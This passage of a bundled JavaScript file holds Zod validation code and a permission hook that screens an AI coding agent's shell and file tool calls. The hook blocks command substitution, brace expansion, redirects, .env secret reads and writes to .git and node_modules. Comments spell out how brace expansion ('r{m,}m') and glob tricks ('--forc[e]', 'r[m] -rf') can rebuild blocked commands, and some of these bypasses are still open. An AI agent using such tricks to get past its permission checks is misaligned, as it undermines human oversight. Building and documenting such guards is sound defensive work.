ZodRecord({\n type: \"record\",\n keyType,\n valueType,\n ...normalizeParams(params)\n });\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n $ZodEnum.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n inst.enum = def.entries;\n inst.options = Object.values(def.entries);\n const keys = new Set(Object.keys(def.entries));\n inst.extract = (values, params) => {\n const newEntries = {};\n for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n inst.exclude = (values, params) => {\n const newEntries = { ...def.entries };\n for (const value of values) if (keys.has(value)) delete newEntries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n});\nfunction _enum(values, params) {\n return new ZodEnum({\n type: \"enum\",\n entries: Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values,\n ...normalizeParams(params)\n });\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n $ZodTransform.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n inst._zod.parse = (payload, _ctx) => {\n if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n payload.addIssue = (issue$1) => {\n if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n else {\n const _issue = issue$1;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = inst);\n payload.issues.push(issue(_issue));\n }\n };\n const output = def.transform(payload.value, payload);\n if (output instanceof Promise) return output.then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n payload.value = output;\n payload.fallback = true;\n return payload;\n };\n});\nfunction transform(fn) {\n return new ZodTransform({\n type: \"transform\",\n transform: fn\n });\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n return new ZodOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n $ZodExactOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n return new ZodExactOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n $ZodNullable.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n return new ZodNullable({\n type: \"nullable\",\n innerType\n });\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n $ZodDefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n return new ZodDefault({\n type: \"default\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n $ZodPrefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n return new ZodPrefault({\n type: \"prefault\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n $ZodNonOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n return new ZodNonOptional({\n type: \"nonoptional\",\n innerType,\n ...normalizeParams(params)\n });\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n $ZodCatch.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n return new ZodCatch({\n type: \"catch\",\n innerType,\n catchValue: typeof catchValue === \"function\" ? catchValue : () => catchValue\n });\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n $ZodPipe.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n inst.in = def.in;\n inst.out = def.out;\n});\nfunction pipe(in_, out) {\n return new ZodPipe({\n type: \"pipe\",\n in: in_,\n out\n });\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n $ZodReadonly.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n return new ZodReadonly({\n type: \"readonly\",\n innerType\n });\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n $ZodCustom.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n session_id: string(),\n transcript_path: string(),\n cwd: string(),\n permission_mode: string(),\n hook_event_name: string(),\n tool_name: string(),\n tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n const chunks = [];\n for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n let parsed;\n try {\n parsed = JSON.parse(chunks.join(\"\"));\n } catch (_error) {\n return {\n ok: false,\n raw: chunks.join(\"\").slice(0, 200),\n error: \"invalid JSON\"\n };\n }\n const result = HookInputSchema.safeParse(parsed);\n if (!result.success) return {\n ok: false,\n raw: parsed,\n error: result.error.message\n };\n return {\n ok: true,\n data: result.data\n };\n}\nconst BashInputSchema = object({\n command: string(),\n description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n pattern: string(),\n path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n const result = BashInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n const result = FilePathInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n const result = SearchInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\nfunction writeDecision(action, reason) {\n const decision = { hookSpecificOutput: {\n hookEventName: \"PreToolUse\",\n permissionDecision: action,\n ...action === \"deny\" && reason ? { permissionDecisionReason: reason } : {}\n } };\n process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n const hookDir = path.dirname(fileURLToPath(import.meta.url));\n return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation — ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n try {\n if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n const rotatedPath = `${logPath}.1`;\n fs.renameSync(logPath, rotatedPath);\n }\n } catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws — audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n try {\n const logPath = getLogPath();\n if (!rotationChecked) {\n rotateIfNeeded(logPath);\n rotationChecked = true;\n }\n const record = {\n timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n ...entry\n };\n fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n } catch (err) {\n process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n }\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n let content = \"\";\n let i = start;\n while (i < input.length && input[i] !== \"\\\"\") {\n if (input[i] === \"\\\\\" && i + 1 < input.length) {\n const next = input[i + 1];\n if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n content += next;\n i += 2;\n continue;\n }\n }\n content += input[i];\n i++;\n }\n if (i >= input.length) return null;\n return {\n content,\n next: i + 1\n };\n}\nfunction tokenize(input) {\n const tokens = [];\n let current = \"\";\n let i = 0;\n let inToken = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\") {\n inToken = true;\n i++;\n while (i < input.length && input[i] !== \"'\") {\n current += input[i];\n i++;\n }\n if (i >= input.length) return {\n ok: false,\n error: \"unterminated single quote\"\n };\n i++;\n } else if (ch === \"\\\"\") {\n inToken = true;\n const scanned = scanDoubleQuoted(input, i + 1);\n if (!scanned) return {\n ok: false,\n error: \"unterminated double quote\"\n };\n current += scanned.content;\n i = scanned.next;\n } else if (ch === \"\\\\\" && i + 1 < input.length) {\n inToken = true;\n current += input[i + 1];\n i += 2;\n } else if (ch === \" \" || ch === \" \") {\n if (inToken) {\n tokens.push(current);\n current = \"\";\n inToken = false;\n }\n i++;\n } else {\n inToken = true;\n current += ch;\n i++;\n }\n }\n if (inToken) tokens.push(current);\n return {\n ok: true,\n tokens\n };\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n if (!input || !input.trim()) return [];\n const segments = [];\n let current = \"\";\n let i = 0;\n let inSingleQuote = false;\n let inDoubleQuote = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\" && !inDoubleQuote) {\n inSingleQuote = !inSingleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\"\" && !inSingleQuote) {\n inDoubleQuote = !inDoubleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n current += ch + input[i + 1];\n i += 2;\n continue;\n }\n if (!inSingleQuote && !inDoubleQuote) {\n if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n pushSegment(segments, current, \"&&\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n pushSegment(segments, current, \"&\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n pushSegment(segments, current, \"||\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"|\") {\n pushSegment(segments, current, \"|\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \";\") {\n pushSegment(segments, current, \";\");\n current = \"\";\n i++;\n continue;\n }\n }\n current += ch;\n i++;\n }\n const trimmed = current.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator: null\n });\n return segments;\n}\nfunction pushSegment(segments, text, operator) {\n const trimmed = text.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator\n });\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/** Safe redirect patterns that don't constitute file writes */\nconst SAFE_REDIRECTS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n]);\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs — so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 — i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too — an accepted fail-closed false positive (passthrough\n* only prompts a human).\n*/\nfunction hasBraceExpansion(token) {\n let depth = 0;\n for (let i = 0; i < token.length; i++) {\n const ch = token[i];\n if (ch === \"{\") depth++;\n else if (ch === \"}\") {\n if (depth > 0) depth--;\n } else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n }\n return false;\n}\n/**\n* An output-redirect token is safe only when it targets `/dev/null` — either as\n* a combined token (`>/dev/null`) or a bare operator whose next token is `/dev/null`.\n*/\nfunction isSafeOutputRedirect(token, next) {\n if (token.endsWith(\">/dev/null\")) return true;\n return token.match(/^(&>>|&>|>>|>|1>|2>)$/) !== null && next === \"/dev/null\";\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - File redirects (`>`, `>>`, `<` to non-/dev/null targets) — skipped when `skipRedirects` is true\n* - Newlines in raw segment (injection via line splitting)\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it — so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to passthrough\n* (a human is prompted) rather than risking an unresolved expansion silently\n* auto-approving or auto-denying based on the wrong argv.\n*\n* ## Expansions this guard knowingly does NOT model\n*\n* Two weaker members of the same \"unmodeled expansion\" family are left open. Both were\n* surfaced by the adversarial review of the issue-attachments hardening and verified\n* empirically against real bash plus this evaluator. **Decision (2026-07-13): accept as\n* documented limitations.** They are recorded here, not as a todo, because the next\n* person to touch this function is the person who needs to know.\n*\n* **Glob reconstruction.** `bst issue:download 273 --forc[e]` (also `--forc?`, `--for*`,\n* `--*`) expands to a real `--force` argv and this returns `safe` — but *only when a file\n* literally named `--force` already exists in the working directory*. Creating that file\n* is itself hook-gated (`> --force` is caught as a redirect; `touch -- --force` falls to\n* passthrough), so it is a two-step, precondition-gated exploit — strictly weaker than the\n* unconditional `$`/brace bypasses that were fixed. The same class defeats deny rules\n* (`r[m] -rf`), again only with a pre-existing matching file.\n*\n* *Why not fixed:* closing it means routing any token containing an unquoted glob\n* metacharacter (`*`, `?`, `[`) to passthrough — which prompts on `ls *.md`, `find . -name\n* '*.ts'`, and nearly every globbing command an agent legitimately runs. Unlike `$` and\n* brace expansion (rare in real commands), globs are everywhere, so the prompt-fatigue\n* cost is real and daily, and a guard people learn to click through protects nobody.\n* Revisit only if a cheaper predicate emerges — the candidate is to flag a glob metachar\n* **only in a token that also begins with `-`** (a flag position, which is where the\n* reconstruction attack lives), leaving bare-argument globs like `*.md` allowed. That\n* would live right here, beside {@link hasBraceExpansion}.\n*\n* **Tilde expansion.** `~` is unmodeled. Bash only expands it to a home *path* at word\n* start, so it cannot reconstruct a flag or a command name — it is a path-scope concern,\n* not the flag/command-reconstruction vector this guard defends against. Lowest priority;\n* noted for completeness.\n*\n* If either is ever closed, pin it with regression fixtures the way the nested-brace cases\n* were pinned in `tests/fixtures.ts`.\n*\n* @param skipRedirects When true, skip redirect analysis (used for trusted resolved scripts)\n*/\nfunction checkInjection(tokens, rawSegment, skipRedirects = false) {\n if (/[\\n\\r]/.test(rawSegment)) return {\n safe: false,\n reason: \"unquoted newline in command\"\n };\n for (const token of tokens) {\n if (token === \"`\") return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"`\")) return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"$\")) return {\n safe: false,\n reason: \"unresolved dollar-expansion\"\n };\n if (hasBraceExpansion(token)) return {\n safe: false,\n reason: \"brace expansion\"\n };\n if (token.includes(\"<(\")) return {\n safe: false,\n reason: \"process substitution\"\n };\n if (token.includes(\">(\") && !SAFE_REDIRECTS.has(token)) return {\n safe: false,\n reason: \"process substitution\"\n };\n }\n if (!skipRedirects) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (SAFE_REDIRECTS.has(token)) continue;\n if (token.includes(\"<\") && !token.includes(\"<(\")) return {\n safe: false,\n reason: \"input redirect\"\n };\n if (token.includes(\">\")) {\n if (isSafeOutputRedirect(token, tokens[i + 1])) continue;\n return {\n safe: false,\n reason: \"output redirect to file\"\n };\n }\n }\n return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n \".sample\",\n \".example\",\n \".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack — yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n if (isEnvSafeSuffix(path.basename(filePath))) return false;\n return ENV_FILE_PATTERN.test(filePath);\n}\n/**\n* Check if any non-flag token in a Bash command targets a .env file.\n* Used by Bash deny rules for cat, head, tail, grep, etc.\n*/\nfunction tokensTargetEnvFile(tokens) {\n return tokens.slice(1).some((t) => !t.startsWith(\"-\") && isEnvFile(t));\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n* - cwd is not a git repository,\n* - HEAD is detached,\n* - any git invocation fails.\n*\n* Null is the safe protected default — callers treat it as \"protected\".\n*/\nfunction getCurrentBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"rev-parse\",\n \"--abbrev-ref\",\n \"HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out || out === \"HEAD\") return null;\n return out;\n } catch {\n return null;\n }\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"symbolic-ref\",\n \"--short\",\n \"refs/remotes/origin/HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return null;\n return out.startsWith(\"origin/\") ? out.slice(7) : out;\n } catch {\n return null;\n }\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null — e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in isGitSafePush. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n const set = new Set(ALWAYS_PROTECTED);\n const remote = getRemoteDefaultBranch(cwd);\n if (remote) set.add(remote);\n for (const b of extra) set.add(b);\n return set;\n}\n/**\n* Configured remote names (`git remote`). Empty when cwd is not a repo or git\n* fails — the safe default, since callers require membership to auto-approve.\n*/\nfunction getRemotes(cwd) {\n try {\n const out = execFileSync(\"git\", [\"remote\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return /* @__PURE__ */ new Set();\n return new Set(out.split(\"\\n\").map((line) => line.trim()).filter(Boolean));\n } catch {\n return /* @__PURE__ */ new Set();\n }\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) — the IDE is\n* inconsistent — and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to passthrough (reads) or a false\n* \"outside the project\" deny (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path —\n* `cwd` — and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter ⇒ win32). */\nfunction pathFlavorFor(base) {\n return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n const pp = pathFlavorFor(dir);\n const rel = pp.relative(dir, target);\n if (rel === \"\") return true;\n if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` — top-level or nested inside a subdirectory repo —\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not just\n* `<cwd>/.git` — matching `.git` at *any* depth, as long as the resolved\n* path stays within `cwd` (paths outside `cwd` are handled by the\n* outside-cwd-write rule instead).\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n const pp = pathFlavorFor(cwd);\n const resolved = resolveIn(cwd, filePath);\n if (!isWithin(cwd, resolved)) return false;\n const rel = pp.relative(cwd, resolved);\n if (rel === \"\") return false;\n return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to `node_modules` — i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/…`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect — anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it — with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` — so a cwd-scoped check would not have seen it — and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense — it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\nconst GIT_READ_OPS = /* @__PURE__ */ new Set([\n \"status\",\n \"log\",\n \"diff\",\n \"show\",\n \"blame\",\n \"grep\",\n \"shortlog\",\n \"range-diff\",\n \"describe\",\n \"branch\",\n \"remote\",\n \"fetch\",\n \"ls-files\",\n \"ls-tree\",\n \"ls-remote\",\n \"show-ref\",\n \"for-each-ref\",\n \"rev-parse\",\n \"rev-list\",\n \"cat-file\",\n \"diff-tree\",\n \"name-rev\",\n \"merge-base\",\n 